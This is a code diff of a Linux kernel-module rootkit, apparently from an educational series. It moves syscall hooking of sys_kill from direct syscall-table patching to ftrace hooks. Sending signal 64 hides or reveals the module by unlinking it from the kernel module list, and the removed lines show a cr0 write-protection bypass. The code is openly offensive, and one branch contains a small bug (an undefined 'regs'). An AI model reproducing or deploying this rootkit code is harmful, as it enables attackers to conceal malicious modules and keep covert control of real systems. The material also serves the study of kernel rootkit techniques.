3
3
#include <linux/kernel.h>
4
4
#include <linux/syscalls.h>
5
5
#include <linux/kallsyms.h>
6
+ #include <linux/version.h>
7
+
8
+ #include "ftrace_helper.h"
6
9
7
10
MODULE_LICENSE ("GPL" );
8
11
MODULE_AUTHOR ("TheXcellerator" );
9
12
MODULE_DESCRIPTION ("Syscall hijacking to send custom signals" );
10
- MODULE_VERSION ("0.01" );
11
-
12
- static unsigned long * __sys_call_table ;
13
+ MODULE_VERSION ("0.02" );
13
14
14
- /* orig_kill_t has to be declared to take pt_regs as as argument
15
- * so that we can access the variables stored in registers */
16
- typedef asmlinkage long (* orig_kill_t )(const struct pt_regs * );
17
- orig_kill_t orig_kill ;
15
+ /* After Kernel 4.17.0, the way that syscalls are handled changed
16
+ * to use the pt_regs struct instead of the more familiar function
17
+ * prototype declaration. We have to check for this, and set a
18
+ * variable for later on */
19
+ #if defined(CONFIG_X86_64 ) && (LINUX_VERSION_CODE >= KERNEL_VERSION (4 ,17 ,0 ))
20
+ #define PTREGS_SYSCALL_STUBS 1
21
+ #endif
18
22
19
23
/* We need these for hiding/revealing the kernel module */
20
24
static struct list_head * prev_module ;
21
25
static short hidden = 0 ;
22
26
27
+ /* We now have to check for the PTREGS_SYSCALL_STUBS flag and
28
+ * declare the orig_kill and hook_kill functions differently
29
+ * depending on the kernel version. This is the largest barrier to
30
+ * getting the rootkit to work on earlier kernel versions. The
31
+ * more modern way is to use the pt_regs struct. */
32
+ #ifdef PTREGS_SYSCALL_STUBS
33
+ static asmlinkage long (* orig_kill )(const struct pt_regs * );
34
+
23
35
/* After grabbing the sig out of the pt_regs struct, just check
24
- * for signal 64 (unused normally) and, using "hidden" as a toggle
25
- * we either call hideme(), showme(), or the real sys_kill()
36
+ * for signal 64 (unused normally) and, using "hidden" as a toggle
37
+ * we either call hideme(), showme() or the real sys_kill()
26
38
* syscall with the arguments passed via pt_regs. */
27
39
asmlinkage int hook_kill (const struct pt_regs * regs )
28
40
{
@@ -49,6 +61,33 @@ asmlinkage int hook_kill(const struct pt_regs *regs)
49
61
return orig_kill (regs );
50
62
}
51
63
}
64
+ #else
65
+ /* This is the old way of declaring a syscall hook */
66
+ static asmlinkage long (* orig_kill )(pid_t pid , int sig );
67
+
68
+ static asmlinkage int hook_kill (pid_t pid , int sig )
69
+ {
70
+ void showme (void );
71
+ void hideme (void );
72
+
73
+ if ( (sig == 64 ) && (hidden == 0 ) )
74
+ {
75
+ printk (KERN_INFO "rootkit: hiding rootkit kernel module...\n" );
76
+ hideme ();
77
+ hidden = 1 ;
78
+ }
79
+ else if ( (sig == 64 ) && (hidden == 1 ) )
80
+ {
81
+ printk (KERN_INFO "rootkit: revealing rootkit kernel module...\n" );
82
+ showme ();
83
+ hidden = 0 ;
84
+ }
85
+ else
86
+ {
87
+ return orig_kill (regs );
88
+ }
89
+ }
90
+ #endif
52
91
53
92
/* Add this LKM back to the loaded module list, at the point
54
93
* specified by prev_module */
@@ -66,63 +105,29 @@ void hideme(void)
66
105
list_del (& THIS_MODULE -> list );
67
106
}
68
107
69
- /* The built in linux write_cr0() function stops us from modifying
70
- * the WP bit, so we write our own instead */
71
- inline void cr0_write (unsigned long cr0 )
72
- {
73
- asm volatile ("mov %0,%%cr0" : "+r" (cr0 ), "+m" (__force_order ));
74
- }
75
-
76
- /* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which
77
- * determines whether read-only pages can be written to. We are modifying
78
- * the syscall table, so we need to unset it first */
79
- static inline void protect_memory (void )
80
- {
81
- unsigned long cr0 = read_cr0 ();
82
- set_bit (16 , & cr0 );
83
- cr0_write (cr0 );
84
- }
85
-
86
- static inline void unprotect_memory (void )
87
- {
88
- unsigned long cr0 = read_cr0 ();
89
- clear_bit (16 , & cr0 );
90
- cr0_write (cr0 );
91
- }
108
+ /* Declare the struct that ftrace needs to hook the syscall */
109
+ static struct ftrace_hook hooks [] = {
110
+ HOOK ("sys_kill" , hook_kill , & orig_kill ),
111
+ };
92
112
93
113
/* Module initialization function */
94
114
static int __init rootkit_init (void )
95
115
{
96
- /* Grab the syscall table */
97
- __sys_call_table = kallsyms_lookup_name ( "sys_call_table" ) ;
98
-
99
- /* Grab the function pointer to the real sys_kill syscall */
100
- orig_kill = ( orig_kill_t ) __sys_call_table [ __NR_kill ] ;
116
+ /* Hook the syscall and print to the kernel buffer */
117
+ int err ;
118
+ err = fh_install_hooks ( hooks , ARRAY_SIZE ( hooks ));
119
+ if ( err )
120
+ return err ;
101
121
102
122
printk (KERN_INFO "rootkit: Loaded >:-)\n" );
103
- printk (KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n" , __sys_call_table );
104
- printk (KERN_DEBUG "rootkit: kill @ 0x%lx\n" , orig_kill );
105
-
106
- unprotect_memory ();
107
-
108
- printk (KERN_INFO "rootkit: hooking kill syscall\n" );
109
- /* Patch the function pointer to sys_kill with our hook instead */
110
- __sys_call_table [__NR_kill ] = (unsigned long )hook_kill ;
111
-
112
- protect_memory ();
113
123
114
124
return 0 ;
115
125
}
116
126
117
127
static void __exit rootkit_exit (void )
118
128
{
119
- unprotect_memory ();
120
-
121
- printk (KERN_INFO "rootkit: restoring kill syscall\n" );
122
- __sys_call_table [__NR_kill ] = (unsigned long )orig_kill ;
123
-
124
- protect_memory ();
125
-
129
+ /* Unhook and restore the syscall and print to the kernel buffer */
130
+ fh_remove_hooks (hooks , ARRAY_SIZE (hooks ));
126
131
printk (KERN_INFO "rootkit: Unloaded :-(\n" );
127
132
}
128
133
0 commit comments